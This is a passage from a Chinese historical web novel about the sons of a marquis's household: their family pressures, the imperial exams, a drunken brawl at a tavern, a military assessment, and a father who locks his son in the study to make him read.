不过侯府之中,大郎封砚开的地位明显提升了,连带着他肩上的负担也更重了,最起码他只有在封砚初这里才能说上两句真心话。
父亲封简宁总是督促他的学业,希望他依旧能延续侯府荣光;母亲唐晨虽然也时常关心他的生活,可更多的是强调他的责任;而姨娘刘氏眼见着亲生儿子即将成为世子,心中自是得意,更是不断在耳边念叨着,侯府未来的荣华富贵都是他的了,她自己再也不用看旁人的眼色。
世子之位看似尊荣,可也让他背负上了重重枷锁,几乎快要喘不过气来。
就比如现在,封砚初在与封砚开对弈,可对方明显心不在焉。
“大哥,该你了!”他敲着棋盘提醒正在愣神的人。
“哦,哦。”封砚开随意找了个位置落下白子。
他看着白子的位置挑眉问道:“大哥,你确定白子要下在这里?”按理来说下棋是不能悔棋,但他们兄弟二人时常与三郎下棋,对方总是喜欢悔棋,便养成这个坏习惯,不过好在只是家人之间。
封砚开这才反应过来,连忙捡起方才下错的白子,重新找了个位置,可这个位置也不好,只给白子留了一口气。
“大哥!你这是怎么了?若是不想下便算了。”封砚初属于那种可下可不下之人,对围棋并不痴迷。
封砚开长长的叹了一口气,“二郎,以前我只觉这世子之位很荣耀,可这些日子却发现并不是,它的重量远比我想的还要沉,我甚至有些羡慕你了。”
“羡慕我?为什么?”封砚初也察觉到,自从守孝开始后,大哥的心情不似从前,以前虽也稳重,可如今却多了些沉闷的味道。
“羡慕你可以调皮捣蛋,羡慕你的肆意胡闹,羡慕你不用承担世子之位。自小旁人便告诉我将来是要承袭爵位的,所以从小我就觉得与你不同,很多事你可以做,我却不行,因为我肩负着武安侯府的将来。”这番话是封砚开的真心话,他以前只见其表,未见其里。从未真正理解作为一个侯府世子,身上应该承担怎样的责任。
封砚初的脸上浮出淡淡的笑,亲自为对方斟了茶,他想起现代的一个句子,欲戴王冠,必承其重,只是‘王冠’二字不合适,便换了一个字,说道:“大哥,欲戴其冠,必承其重。”
封砚开听了这话不禁一笑,端起四方茶杯饮了一口,“二郎啊,二郎,我看咱们兄弟几个你最通透。”
“大哥以后若是有什么烦心事,都可以找我,我愿意当个合格的倾听者。”封砚初见大哥有些释怀,心情也好了许多,便承诺着。
“到时候二郎可别嫌我烦。”封砚开的心情确实好了不少,起码比来之前好多了。
他看着二弟依旧有些空荡荡的屋子,竟觉得很好,“嗯,以前只觉得你的屋子太空,如今倒觉得挺不错。”
封砚初哪里不明白,大哥这是觉得他屋子空,似乎连那些烦人的心事也不会找上门。可对方也就是那么一说,如今虽在孝期还未被正式立为世子,可在外界看来已经就是了。
“孝期过后,你就要搬院子了,到时候定要招待客人,怎好与我一样,否则让外人瞧见也不像样子。”
如今封砚开的院子属于内院,他继承世子之位后,总不能见天的让外客整日里往内院跑;一则不像样,二则那处院子也不大,所以要搬到父亲腾出来的院子,那里才是每任武安侯府世子所住之处。
封砚开听后心情都变好了些,点头道:“还真是。”不过心里却想着,到时候姨娘必定不能日日往他院子里来,他的耳边也能清净不少,兄弟俩说了一会话便散了。
王锦娘看着大郎离去的背影,不禁赞道:“大郎如今可真稳重,你要是也能像他一样,你父亲也不会罚你。”
封砚初噗嗤一笑,他觉得好笑。前几日才听三郎说张姨娘羡慕自己,嫌弃三弟不爱读书总惹祸,不像自己虽偶有顽皮,但不耽误学业。如今又听姨娘这样羡慕起大郎的稳重,难不成天下间的父母都羡慕别人的儿子?
王锦娘醒过神来,回头看向儿子,眉头微蹙,疑惑道:“你笑什么?难道我说的不对?”
“不,姨娘说的很对,只是我这辈子都无法像大哥那般稳重,恐怕要叫姨娘失望了。”
谁知王锦娘叹气道:“也许你年岁大些就好了。”这话她自己都不信,封简言如今已过而立之年,可还是不稳重,听说老侯爷临终之前还担心对方为侯府惹祸。
也确实如王锦娘所言,因为二叔封简言,婶娘温氏为此头疼不已。
第六十一章 就是看他不顺眼
自从老侯爷去世以后,温氏瞅夫君封简言鼻子不是鼻子,眼睛不是眼睛的。
因为还在孝期,封简言也不能出去厮混,觉得反正在家里,与房里的妾室胡闹也无妨。
温氏听着声音只觉刺耳,又联想到老侯爷没了,家里只有老太太撑着,若哪一日老太太有个好歹,他们二房肯定是要被分出去的,可看夫君那副烂泥扶不上墙的样子,顿时怒火中烧!
当即跨出门,叉着腰喊道:“宋氏!宋氏!”
正在伺候的宋氏,听见温氏喊她,连旁边的封简言都顾不上了,吓得赶紧起身穿衣,并高声回应,“唉,这就来。”
封简言气的不行,猛地一把拽住宋氏,眉眼间怒气已现,“干什么?你就在这伺候我,不准去!”
宋氏都快哭了,眼前这位爷最爱寻花问柳,要不是因为守孝出不去,自己恐怕十天半个月见不着人,平日她还要在温氏手底下过活,指望这位爷护着自己,还不如相信猪会上树。
“娘子恐怕有事要问,奴婢去去就回来。”说完还不等对方反应过来,立即出了门。
温氏见宋氏衣服和头发有些许凌乱,眉头紧拧,斥责道:“你看看你,大白天的像什么样子,连头也不梳就出来,爷们胡闹,你也搭架起秧子,要是让孩子们看见仔细你的皮!”
是二爷非拉着她,自己一个妾室如何拒绝,明知温氏借题发挥,她只敢低头抹眼泪,连哭声也不敢发出来。
封简言在屋里听了半天,原本不想出去,可妻子越骂越凶,再也忍不住,冲了出去,“你也不用在这里指桑骂槐的,我就站在这儿。”
温氏见夫君出来,对着宋氏冷哼一声,“还不下去!”说罢扭身回了屋子,而宋氏如同听了圣旨一般快速闪人。
“你别太过分,这几日我不曾出门去,不过是在家里罢了,就这你也看不顺眼!”封简言还是未能体会,只以为温氏吃醋,追在身后气冲冲道。
“昨日我去老太太那里碰见了大嫂,大嫂说了近些日子还是安分一些,不要出去胡闹!”温氏不过借题发挥,目的就是为了将夫君叫出来呲一顿。
封简言一屁股坐下,端起旁边的茶喝了一口,不悦道:“我又不曾出去,你发什么邪火!”
“我发邪火?你但凡像个样子,我又何至于此,成日里与那些通房姨娘厮混,明儿的学业如何连问都不问一声,整个家全要我操持!”温氏看着夫君那副样子,心里的无名之火又起。
与妻子相比,封简言就是个甩手掌柜,“这本就是你的事,再说明儿也不是学习那块料,你就别强求了。”
要不是还顾及着夫妻体面,温氏恨不能用大棒将眼前之人打一顿,“都是武安侯府的爷们,怎的你就这么不成器!大哥与大嫂虽在孝期,可人家俩人一个看着郎君们的生活,一个管教学习!你呢?连身上挂着的闲职也没了!”
封简言依旧一副吊儿郎当的样子,“没了就没了,侯府还能短了我的吃喝不成?”
温氏听后冷哼一声,“那可未必!如今老太太在还好,若将来老太太有个好歹,难不成你要在侯府待上一辈子?还不是要分家,大哥家可是有四个儿子,人家又是武安侯,分到你身上能有几两银币?”
其实封简言自幼与兄长关系不错,只是他不上进,总被父亲和兄长训斥,“那是我亲大哥,即使将来真到了那一日,他还能不分给我?”
温氏见眼前之人执迷不悟,“你可别忘了,侯府的爵位只能承袭到大郎那一辈,到时候就连他们也要搬出侯府,你大哥可是有四个儿子岂能不考虑!”
“就拿大嫂家来说,唐家原来也是侯爵,最后五世而斩,他家还不是搬到了太平巷,唐大人还是大理寺卿呢,可宅子还没有侯府一半大呢,他兄弟呢,京城都待不下去只能回青州老家。”
“人家在青州起码还有个宅子,你呢,总不能住到青州祖宅里去吧,那里可是祖产,历来都是侯府的!”
这番话,不禁让封简言心里犯起了嘀咕,端茶杯的手停顿了下来,这些事他以前从未考虑过,“不会吧。”
温氏见夫君迟疑了,也放软语气,半哄半骗着,“怎么不会,你只看见侯府富贵,可自从老侯爷去世全家丁忧,大哥来日还不知道官复几品,他心里急得不行,这才紧抓大郎与二郎的学业。”
“咱家明儿只比大郎小几个月,可半点不开窍,只知一味的憨吃憨玩,将来可怎么好,咱俩可就这么一个儿子!我说了他也不听,所以你也别什么事都不操心,每日盯着儿子的学业就行。”
封简言只能点头应下。
次日。
就在封砚初去学塾上学之时,就看见堂兄封砚明耷拉着肩膀进来。对方是个乐天派,除了吃喝玩以外万事不操心,见此心中有些奇怪,问道:“堂哥,你这是怎么了?”
这不问还好,一问封砚明立时觉得委屈,诉起苦来,“二郎,不知我父亲发了什么疯,昨日突然问起我的功课,结果自然是劈头盖脸一顿骂,还说今日若还没长进,便要打手板,这次就连母亲都没护我。”
别看封简言一副躺平的样子,其实还中过举人呢。大晟与历朝历代不同,文职不许走封荫,有品级的文官最低也得是个举人,即使是官府中不入流的小吏,也得是通过考试的秀才,管理的十分严格。
否则封简言又怎么可能轻易在官府任职,只是此人一贯吊儿郎当的,老侯爷不放心,便走关系让其任了个闲职,此次因守孝,身上的闲职自然也没了。
封砚初拍了拍堂哥的肩膀,“二叔与婶娘就你一个儿子,他们自然希望你争气。”
“可他们以前也没有过,怎的如今突然要我争气,再说就我父亲那……。”毕竟是自己的父亲,后面的话封砚明到底没说出口。不过他实在想不明白,父亲从来没管过他,母亲原本只担心他吃的好不好,生没生病。
封砚初察觉到,堂哥这是在心里觉得二叔自己不争气,却来要求他,于是劝道:“二叔以前还考中过举人呢,若你将来也能考中举人,婶娘只会更高兴。”另一层意思就是,不管怎么说就你目前的学习态度,别说举人,只怕童生都考不上,竟然还嫌弃起自己的父亲。
第六十二章 怎么生了这样一个儿子
时间过得很快,转眼守孝已过了一年多,封简宁虽还在孝中,但封砚开和封砚初他们这些孙辈的孝期已经满了。如今的封砚初年已十五,其兄封砚开已十六岁,因为去年孝满之时,县试和院试均已结束。(设定:县试通过为童生,院试通过为秀才;乡试通过为举人;会试通过为贡生;最后殿试考完为进士。)
(注:唐朝的科举考试分为两级:地方解送、中央省试。宋朝:州试(解试)、省试、殿试。明朝:县试、府试、院试、乡试、会试、殿试。所以秀才选拔(三级考试体系)是在明清时期才完全成熟和制度化的。)
今年,封简宁做了一个决定,那就是让俩人都去参加科举,考取童生和秀才。
原本封砚初在休沐之日还能有一丝喘息之机,可因为这决定他只能全身心投入其中。到现在,他都还记得父亲当日的话。
“从今以后,除了每日上学,你们俩个就不要出院子了,到了考试那一日,直接拎着考篮进场。”
甚至最后还特意点了他的名,“二郎,尤其是你,下学后就安安分分的待在屋里读书,不许出幺蛾子,我会派人看着你!”
是的,封简宁并不相信次子,次子的驭下之术不错,无论是他院子里的丫鬟婆子,还是跟着在身后的小厮很少有出卖他的,不怕一万就怕万一,为了保险起见,他还是觉得派一个人过来盯着。
封砚初当时就长叹一口气,父亲这是担心院子里的下人与他欺上瞒下,眼见路被堵死了,也只能应了,先过了眼前这关再说,“是,父亲,我会认真读书的。”
就在他以为最多就是在自己院子里监督,可万万没想到,父亲竟连这都不放心,硬是让他搬去了外书房。
他为此还专门将冯四叫来,“我最近要准备县试,‘枕松闲居’那边暂时顾不上,你务必时时去查看。”
“是,郎君,小的必定日日都去。”冯四如今因为跟在他身边,在外人看来很风光,所以做事也十分认真,并不敢因为封砚初年纪小就阳奉阴违。
从这之后,他就过上了昏天黑地的日子,眼里只有书本,为的就是赶紧结束这段日子。
三郎封砚池下学后,见二哥身后跟着父亲派去的人全程盯着,就连内院也不让回去了,专门在外院书房设了住处,每日除了用饭如厕轻易离开不得。比起对方的暗无天日,他简直不要太舒服,心中的得意难免带到脸上来。
回去后,监督课业的张姨娘已经到了,他眉飞色舞道:“姨娘,方才去瞧了,二哥就像是被关进了大狱一般,没有半点自由,真是可怜呐。”说完竟‘咯咯咯’地笑起来,颇有些幸灾乐祸的意思。
张姨娘十分无语,她怎么生了这样一个儿子,见他犯蠢,毫不客气的回怼,言语中满是讽刺,“你竟然还笑得出来,你父亲已经决定让大郎和二郎参加今年的县试,所以才严加管教!四郎小一岁也就罢了,可你比二郎就小了几个月,这里头却没你,你不反思自己,竟好意思得意?我怎么生了你这个憨货!”
封砚池被张姨娘这样一说,心里颇不是滋味,原本乐呵呵的心情不复存在,低声嘟囔着:“这么多人去考,考不考得过还未可知呢,没准父亲是白期待了。”
张姨娘耳朵很灵,听了儿子唱衰的话,扬起手就是一巴掌。只听‘啪’的一声,封砚池被打的一个趔趄。若是其他人必定手疼,可张姨娘娘家是屠户,她自幼就给父兄帮忙,练得一身好力气。
“姨娘,你打疼我了!”封砚池努力用手够着被打疼的背,抱怨道。
“活该!我看你找打,自己的亲兄弟要考试,你不说关心关心,还在这口无遮拦!要是再有下次不就用那戒尺直接打你的嘴,我还要告诉大娘子,让他们两狠狠地将你打一顿!”
封砚池知道自己说错了话,不过嘴上却道:“我还不是被您激的,谁让姨娘总是夸大哥和二哥,差点就将他们俩个说成一朵花,难不成我就这么不堪?”
张姨娘瞥了一眼儿子,冷哼一声,“罢了,我就是这命,你既然没能力去考,那也不要添乱,安安静静的待着,每日好好完成课业,免得我被大娘子说。”
见儿子低头踢着石头,又忍不住大喝道:“还愣着做什么?写字去!今日写完才许吃饭!”
“啊——”封砚池已经是十五岁的少年,正是长身体的时候,那胃就像是无底洞一样,饭量惊人,见姨娘这样说难免有些心疼自己的胃。
“啊也没用!这就是对你的惩罚,写完早就可以吃饭,若是你写完厨房已经熄灶,那你就饿着!”张姨娘狠了狠心,她觉得还是要让儿子长些记性,可能是挨打多了,现在已经有些疲了。
封砚池不甘心,继续请求,试图唤起张姨娘的母爱。
“你要是再不去写,只能明早起来用早饭了,反正少吃一顿也饿不死人!”
他见姨娘竟然来真的,都不用人催就立即磨墨写先生布置的课业,可能是胃部如火烧一般的饥饿催促着,他意外的认真,终于赶在厨房熄灶的前一刻写完了。
端来的也不是什么精致的饭菜,可他吃的格外香,今日让他印象深刻。
张姨娘到底心疼儿子,原本端了些点心让他垫一垫,来到门口见已经开始吃起来了,又原封不动的端回去了。
埋头苦学的日子让人觉得十分漫长,可当到了临考之日时,又觉得时间之快!
这一日,兄弟二人提着考篮,在众人的目送之下一起上了马车。
清晨有些寒凉,空气中含着露水,车轮滚过石板路发出‘咯吱咯吱’的声音,整个京城还未彻底苏醒;不过沿途偶尔会碰见同行之人,有的骑马,有的步行,有的乘轿,还有的乘车,贫富差距十分明显,他们都是前往考童生试。
到了地方天还未亮,贡院门前已经大排长龙。县试需要三天,直到三天结束才能回家。兄弟二人通过一系列检查,进了贡院大门,迎接他们的是三日的童生试。
第六十三章 他又不是天才,怎么比得过
进了贡院,俩人只见里面守卫森严,封砚开正要交代两句,就听见旁边的人呵斥道:“不许交头接耳!”
封砚初按着牌子找到了自己所在的位置,里面不过两个平方,十分闭塞狭小,他仔细查看了一番,并未发现破漏之处,敲了敲桌面倒还结实。
打扫了考棚,刚坐下没多久,就听见一阵敲锣之声,贡院大门关闭,考试正式开始。大晟的县试并不考诗赋,而是经义、律法、策论。
第一场考的是经义,主要对儒家经典(《论语》、《孟子》、《礼记》等),结合注疏作答。
第二场考的是大晟律,基本上都是需要背诵的内容;第三场则是策论。
封砚初感觉经义和律法答的很好,只是策论也差不多,反正就是他自认已经写出了平日的水准,要是真的没通过那也是命,毕竟他方才进来就看到好几个年岁看起来不小的,这还是太宗皇帝规定,超过四十五还没有通过童生试,就不能再考了。
三天的时间转瞬而逝。
封砚初提着考篮随着人流朝外走去,贡院大门附近已经被挤的拥堵不堪,别说滞留马车了,就连马在这儿都费劲,他走出约莫大半里之后,才看见侯府的马车。他径直上了马车,等了好一会,封砚开这才过来。
封砚开掀开帘子,一屁股坐下,他的衣服皱皱巴巴,头发也有些凌乱,鞋上不知被谁踩过几脚,不仅没了往日的稳重,甚至还能看出一丝狼狈。
“二郎,我还在贡院门口找你了,没想到你先回来了。”他有心问一问此次考的怎么样,可发现二弟一副并不想说的样子,以为写的有疏漏,便换了个话题。
封砚初回了侯府,立即上上下下洗了一遍,用了饭,然后让丫鬟将他头发上的水擦干。这几日他躺在贡院里的那硬木板上,浑身不舒服,夜里醒了好几次。也许是因为擦头太舒服的缘故,他竟然就这么躺在躺椅上睡着了。
直到李妈妈轻轻推他,“二郎,二郎,快醒醒,床已经铺好了,快去床上睡。”
不过三四天左右,县试榜单就出来了。
虽然只是童生试,可全家人都很焦灼,封简宁与大娘子等人都在老太太处等待着。
封砚初内心还是有些期待的,不过着急也没用,一边枯燥的等着,一边低着脑袋用手扣桌子。大郎封砚开虽然依旧稳重,但还时不时地伸着脑袋看向门外。
这一幕被封简宁瞧了个正着,他本就着急,见次子如此模样,训斥的话到了嘴边,“二郎!我瞧你是半点不着急,竟然还有心情扣桌角!”
老太太见状赶紧道:“好啦,什么时候了,还骂他,他就是再着急,也得等下人看榜回来。”
大娘子也急得不行,难免抱怨,“这去看榜的人怎么回事?怎么这会子还不回来。”
话音刚落,就听见外面的人一路喊着,“大喜啊,大喜!”
那人连滚带爬的进来行礼,“恭喜老太太,侯爷,大娘子,大郎君和二郎君中了,大郎君中了第五名,二郎君中了第二十三名!”
所有人的的表情都很惊喜,老太太连连叫了几声好,“好!好!好!青梅,给他看赏。”
封砚开听到自己中了心里略松了松,可他想到还有后头的院试,便道:“祖母,父亲,母亲,我先回去看书了。”
等大郎说了这话,封砚初这才反应过来,准备跟着告退回去,可紧接着父亲的话,让他心情略微沉闷了几分。
“你的名次并不好,接下来的院试竞争只会更激烈,难免懈怠,你在院试开考之前依旧住在前院!”
“我……”父亲的眼神分外凌厉,封砚初反驳的话刚到了嘴边,硬生生咽了下去,“是,父亲,我知道了。”
院试未考,接下来的日子依旧不轻松,不过好在只有一个月的时间。
事情也如封砚初预料的一样,院试难了许多,有几个地方他有些拿捏不准。
最后只有封砚开考中秀才,他则是名落孙山。毕竟这是院试,录取比例比童生低了许多,还有那么多人与他竞争,自己又不是个天才,如何比得过。
封简宁对此难免有些失望,还是大娘子安慰他,“二郎今年不过十五,能考过童生已经说明这孩子平日读书不曾懈怠,他到底年幼,如何比得过那些年年应考的积年老童生。”
“我虽知道,可看他那满脸无所谓的态度,就气不打一处来,大郎也就比他年长一岁,怎的大郎中了秀才,他没中?”说到底,封简宁还是觉得次子没考中,是因为之前在老侯爷身前尽孝的缘故,估计因此基础没打好,这才院试落榜。
反正在他心里次子十分聪慧,没考中那肯定是受了旁的影响。
大娘子觉得夫君对二郎的期待有些过高了,明明二郎做的也不错,秀才岂是那样好考的?若真的好考,为何那些在弱冠之前考中的寥寥无几,更多的人二十好几,三十好几才考中的秀才。
想到此处,她便用自己的父亲和小弟举例,“我父亲二十六岁考中的秀才,三十岁中举,三十二岁中进士,当年我祖父也是连连夸赞,如今已是大理寺卿。”
“再说我弟弟,他二十二岁考中秀才后,因此才娶了国子监祭酒的女儿为妻,就这他那老丈人还直夸赞他女婿读书有天赋呢。这两个孩子已经很好了,以后勤些督促他们读书就行。”
原本以为考完就轻松的封砚初,还未意识到他接下来的日子是如何难捱。
封简宁正在计划如何监管,而他脚底抹油出了侯府,准备好好看一看外面的热闹。
第六十四章 他可不是莽夫
恒文酒肆。
封砚初刚进门,就听见楼上有人招手:“二郎,这里!”他抬头看去,孙延年早就到了。
拾级而上,除了孙延年,还有唐沐,刘余年。(唐沐,大娘子唐晨的侄子。刘余年,户部侍郎封简阳之妻刘氏的侄子)
“你怎么才来?”孙延年一边倒酒一边带着抱怨的口吻问道。
“听说你和你大哥近日被姑父关在家里读书?”唐沐的语气中带着调侃。
“这院试榜单出来后,我才找着机会溜出来。”封砚初如今的心态就像是在现代才高考完一样。
刘余年比封砚初大几岁,俩人都在封家学塾的甲等班上学,只是从前年起,他便退学在家学习,现在也是童生,“如今咱俩也算是同道中人。”
孙延年有些理解,不仅感慨道:“我还专门让下人去瞧了,只有你哥的名字,你父亲估计气的不轻吧。”
封砚初长舒一口气,浅尝杯中酒,“可不是,我父亲抓着看榜的下人问了好几遍,当时脸色就不好,要不是我跑得快,只怕那茶杯都要甩到我身上了。”
刘余年深有感触,自从表哥封砚成考中秀才之后,他父亲也是处处看他不顺眼,今年又没考中,他可是挨了骂才出来的,心情正郁闷,“像你哥和我表哥那样十六岁就考中秀才的有几个,三四十岁还在考的,那才正常。”
封砚初听了这话打了个冷颤,他见过的可不仅仅只是三十多岁,有些五十多岁了还在考。想想还是算了,他若是过了二十五还没考中秀才就不考了,没得一辈子就搭在科考上。
再者说了,将来武安侯府与他也没有关系,他到时候不过是旁支,顾好自己就行了,封家虽然是勋贵,可并非世家,除了世家以外,他们这种一般都是五世而斩,怎么可能长久富有尊贵下去。
古代的酒度数虽不大,但喝的多了也醉人,几人喝酒赏舞,听着乐姬弹琵琶,正在似醉非醉的朦胧之际,突然听见楼下传来一阵嘈杂的吵闹声。
“天子脚下,谁在这惹事?”唐沐趴在栏杆上,朝楼下望去。
“嗯,有热闹看。”没人不爱看热闹,不仅仅封砚初感兴趣,抬眼看去,二楼的栏杆上趴了一圈人,有的甚至已经跑到楼下去瞧热闹。
“咦,那不是信国公徐家三郎吗?”孙延年定眼一瞧,认出了楼下之人。
“徐家三郎?怎么没见过?”封砚初虽知道此人,但从未见过,再加上信国公徐家乃是太宗的母家,这些年也一直跻身于朝廷的权力中心,他们武安侯府压根够不着人家。
孙延年立马来劲,“别看这徐家三郎是嫡子,可他前头还有一个原配嫡妻所生的嫡长兄,而他与徐家二郎乃是继室所生。”
然后压低声音,“前些年他与自己的嫡长兄起了冲突,具体什么事咱们这些外人怎么可能知道,反正对外说是休养,便将人送回了青州老家,连他母亲也没能阻挡住,今年年初才回来,那时候你被你父亲关在家里备考,自然没见过。”
只见楼下一个二十来岁的男子,脸上带着潮红,一手持着酒壶,脚下有些踉踉跄跄,他指着一位三十来岁,身着锦袍的男子怒骂道:“好个杂碎,老子给你脸了不成,我怎样关你屁事,我家是信国公府,那是太祖的母家,我祖父是当朝次辅,你是什么东西!”
旁边的人见状摇头叹气,对锦袍男子道:“你说你惹他做什么?若是平日说两句好话也就没事了,可他是个酒蒙子,尤其喝酒之后,今日只怕难以善了。”
锦袍男子心里已经有些胆怯了,不过还是嘴硬道:“那又如何?”
原来这饮酒的男子正是徐三郎,他已经怒极,朝一旁的下人挥手道:“给我打,别打死就行!”
雨点般的拳脚打在锦袍男子身上,一旁的掌柜急得直跳脚,可他谁也不敢得罪,只能嘴里不停地劝道:“别打了,几位爷,快别打了!”
男人被打的鼻青脸肿,身上那件锦袍灰扑扑的看不出原本的颜色。
徐三郎瞧打的差不多了,在打下去没准还真会出人命,抬手制止,冷笑道:“这些钱就算是我赔给你看大夫的钱,若是不够了再找我要。”说罢拿出十几枚银币撒在男人身上。
抬头便见不仅周围挤满了人,就连二楼都趴了一圈看热闹的,立时有些恼怒,大喝道:“看什么看!”
二楼,孙延年用胳膊肘轻撞了一下封砚初,示意道:“你知道徐三郎打的是谁吗?”
“不知道。”
“这徐三郎可不是莽夫,他平日里在众人面前表现的十分规矩有礼,只是喝酒之后有时候会惹事。而那男人则是徐家大郎身边的人,他这是趁着酒劲故意为之。”
“看来这徐家兄弟之间的恩怨可不浅呐。”封砚初心里在猜测着俩人之间到底有什么仇怨?虽然不是一个妈生的,可这徐家大郎占了嫡长,将来信国公的爵位都是人家的,与徐三郎无关,还不如搞好关系将来得些好处。
“对了,明日京西武备营演练,你要不要去看看。”孙延年按耐着炫耀的心思,问向好友。
封砚初眉毛微挑,自从孙延年的父亲孙知微从边关回来,就被陛下派去掌管京西武备营,作为儿子的孙延年自然跟着父亲进去历练,“该不会你也要上去演练吧?”
孙延年点头道:“我父亲答应我了,只要我通过演练考核,就可以进京西武备营,明日除了我之外,还有其他人也一样。”
今日的京西武备营,早已不是大晟建国之初时那般勇武,现下那里已经是勋贵武将世家出身的子弟的历练之所,不过为了避免什么人都往里塞,真弄的武备松弛,才有了这演练。
“好!明日我一定去捧场!”封砚初承诺着,但是他担心父亲不让他出门,“不过你还需下个帖子,毕竟我院试未过。”
第六十五章 且让你高兴高兴
封砚初离开酒肆后,并未直接回去,而是去了‘枕松闲居’。如今的枕松闲居一别之前的模样,完全就是一个清居之所。
空地上,封砚初挥舞着手中的长剑,剑法犹如云中细雨,又如流云飘逸,配合着烟云步,身法更加灵敏,连绵不绝的剑招中带着凌厉。
练完剑,又辨认学习了一会药材,时间就这么不知不觉的流逝了。直至冯四提醒,才察觉到了该回去的时候了,只是此刻的他并不知道下次来‘枕松闲居’已经是一年之后了。
回去后,孙延年的帖子已经送来了。
封简宁将手中的帖子递给封砚初,“想去吗?”脸上不见一丝不悦之色。
封砚初原本以为自己回来的有些晚,父亲必定会责骂,可今日对方的态度着实奇怪,整个过程态度温和,不见一丝严厉之色,甚至还主动问他要不要去。
可恰恰这种态度,让他心里直发毛,难道其中有诈?不过到底没忍住诱惑,点头道:“想去。”
没有预料中的暴怒,也没有骂他不务正业,更没有责罚的意思,反而笑着说:“想去就去吧,只是不可像今日一样回来的太晚。”
封砚初带着狐疑地目光看向父亲,疑惑道:“父亲真要我去?不生气?”
“去吧,去吧,反正已经考完了,也应该让你歇一歇。”封简宁一本正经,十分认真。
他这才略微放松心情,美滋滋地保证:“父亲,您放心,明日回来后,我就开始认真读书!”
“嗯,去吧!”封简宁看着儿子拿着帖子欢快离去的背影,忍了又忍,心道:且让你高兴高兴。
次日,阳光明媚,还未等封砚初出门,孙延年就已经骑马来接,风风火火的进门嘱咐道:“快快快,今日演练考核,坐马车不像样,咱们骑马去!”
“咱们快走!”
马夫早就准备好了出行要用的马,身边的小厮正要跟着一起去,被封砚初挥手打发了。
到了京西武备营演练考核之地时,无论是来观看的,亦或是参加考核的,都是骑马而来。
孙延年下马,将骑来的马交给马场看管之人,一脸得瑟道:“还是我想的周到吧,我就担心你不知道,坐马车来,那岂不是丢人。”
“那你想让我怎么谢你呀?”封砚初一脸兴奋,如今他能正大光明的看,如何不激动。
他之前要么是自己一个人私下练武,要么是打着看望暮山的名义,偷偷观察侯府护卫云樟教导之前选来的孩子们习武。(暮山:封简宁从庄子上选来的五人之一,暮山正是封砚初为自己挑选的护卫)
“咱们快进去!我早就给你准备了一个好位置!视野保准是最好的!”孙延年见好友十分期待的样子,也是与有荣焉。
进去之后,此处的场地十分宽敞,四周临时搭了一些棚子,还有一些明显是京西武备营的人在现场巡逻;来参加演练考核之人已经来了一大半,他们正聚在一起等待着录名,抽签。
孙延年选的位置确实很好,十分靠前,可以一目了然的看清整个场地。
“二郎!二郎!”封砚初听见有人叫他,回头看去,原来是唐沐。
可能因为当初在平昭公主府的那件事,唐沐与他的关系竟渐渐亲近起来了,对方看见了他就不准备去自己的位置,反而搂着他的肩膀一屁股坐在旁边,“我还以为你今日来不了了呢。”
“我也以为我父亲不同意,没想到昨日他不仅态度格外好,还允许我来观看。”封砚初虽然觉得不对劲,但他还是努力说服自己想多了。
“是挺出乎意料的,今日我妹妹也想来的,可这里全是泥巴地,我还要照顾她,便偷偷遛了,否则还不知道什么时候才能来。”
就在两人闲谈间,场上的人越来越多,几乎来的都是武将之家,或者像他们这样与武将有关联得人家。
随着锣鼓声响起,无论是场上还是四周都安静了下来,因为此次属于京西武备营的内部考核,所以为首的正是孙延年的父亲孙知微,然后便是几名副将,以及一位宗室代表。
前两轮很没意思,不过是骑马射箭和力气的考核,这些考核通过之后才是拳脚功夫的比试,这才是封砚初眼巴巴惦记的地方。
只是怎么说呢,能力参差不齐,有的明明看起来拳法,腿法很不错,只是使用的人是废柴;有的明显可以看出经常与人对练,这类人就是孙延年。
如果真让他与孙延年对打,自己绝对是被打趴下来的那一个,他的对战经验还是不足!
即使隔着这么远,他依旧可以清晰听见孙延年的拳风。与他对手的是一个姓王的郎君,此人连环腿十分出色,即使孙延年自幼练武,可还是一时之间拿不下来。
孙延年迅速出拳,接连打击对方的面门;只见王郎君身体侧转,弯腰低下身,扫堂腿带着风声横扫而出;孙延年一个跃身躲了去,俩人打的有来有回,一时之间难以分出胜负。一直到最后,孙延年勾拳出击,半道化拳为擒拿手;趁势一扑,单手隔空锁住对方的咽喉,这才险胜。
紧接着又是轮番的打斗场面,封砚初十分投入,就连唐沐在旁边喊他要么没听见,要么敷衍,不过他收获颇丰。
孙延年比完之后,拿到了成绩后下了场,直奔封砚初这里来,兴冲冲道:“二郎,我刚才打的怎么样?”
封砚初与唐沐两人连忙竖起大拇指,赞道:“你与那王郎君打的可真精彩。”
“那姓王的连环腿十分厉害,要不是我会擒拿手,估计一时半会还结束不了。”虽都知道孙延年带了些吹嘘的部分,不过还是愿意附和。
“那王郎君莫不是家传功夫?”封砚初很感兴趣。
“我听我父亲说,那王郎君的师傅是薛家的薛荣祥,他是薛家嫡支,自然不甘心放弃从武的路子,估计也是想试探试探朝廷的意思。”孙延年说这句话的时候,还偷摸观察了一下封砚初的表情。
薛家之前的败落是因为参与到皇子夺嫡,而封家则是奉太宗之命后代从文,这才断了从武的路子。
第六十六章 为了自由,干了
话说封砚初今日也确实听话,未在外面逗留,提前回去了。
刚进屋还没来得及坐下,就见碧芳回禀,“郎君,二门处传信,说侯爷找您。”
封砚初不知为何心中有种不安,难道终于来了,要找他算账了,虽然心中怀疑,但他还是想仔细问清楚,免得万一挨打来不及逃跑,“可知父亲找我何事?”
“听二门的人说,侯爷找了几篇策论要给你,让你好好研读呢。”碧芳的话让他放下心来。
“哦,我知道了,这盘菱粉香糕就先别收了,我一会儿回来再用。”封砚初脸上的表情肉眼可见轻松下来,甚至还指着点心吩咐了两句。
踩着轻快的步伐来到了外头书房,让他奇怪的是父亲并未在屋里,而是站在院子中间,看见他之后还招手道:“来的还挺快的。”表情一片慈和。
封砚初并未在意,拱手行了一礼,“父亲,听说您找了几篇策论要给儿子?”
封简宁指着书房道:“策论我给你放在书房左边架子上了,你自己进去找找。”
封砚初心里有些奇怪,父亲怎么不在他自己的书房,反而特意将策论放到自己平日用的外书房,岂不是多此一举?虽然心里如此想着,不过还是按照父亲所说的进去了。
他进门后便发现今日外书房的书比往日的多了好些,并未存疑,径直走到左侧的架子上找,果然在第三层发现了那几篇策论。
当他拿着策论要往外走时,发现门不知什么时候闭上了,伸手一拉,竟然从外面锁上了。
此时已经顾不上什么策论不策论的了,连忙朝窗户跑去,就连窗户已经被人强行关上了,就在他准备用蛮力之时,就听见一阵‘叮叮咣当’的声音。
立即大喊道:“父亲!你这是要做什么?”
